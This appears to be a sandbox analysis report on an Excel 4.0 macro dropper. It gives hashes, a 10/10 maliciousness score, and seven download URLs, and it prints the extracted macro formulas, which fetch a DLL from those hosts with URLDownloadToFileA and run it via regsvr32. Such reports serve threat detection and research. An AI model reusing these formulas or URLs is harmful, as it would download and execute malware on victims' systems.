General

  • Target

    bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6

  • Size

    21KB

  • Sample

    241120-pl9a3sxcqq

  • MD5

    821fef9a78eb818dabbb359512b0f572

  • SHA1

    e186c20e6f8b542f9679d664ca0c1c1b674a2037

  • SHA256

    bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6

  • SHA512

    ed34536ef14f668d864fe46dd0827251919c1e4dbe1474b1ecbf72be51ecb489c8e2413650d90ffa280cef688154dbd58907bafe5609a016ccf1d4776ffb8932

  • SSDEEP

    384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

http://snappylookphotobooth.com/headers/P/

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

http://casadorothea.com/cc/H5v/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

xlm40.dropper

http://snappylookphotobooth.com/headers/P/

xlm40.dropper

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

xlm40.dropper

http://casadorothea.com/cc/H5v/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

Targets

    • Target

      bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6

    • Size

      21KB

    • MD5

      821fef9a78eb818dabbb359512b0f572

    • SHA1

      e186c20e6f8b542f9679d664ca0c1c1b674a2037

    • SHA256

      bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6

    • SHA512

      ed34536ef14f668d864fe46dd0827251919c1e4dbe1474b1ecbf72be51ecb489c8e2413650d90ffa280cef688154dbd58907bafe5609a016ccf1d4776ffb8932

    • SSDEEP

      384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks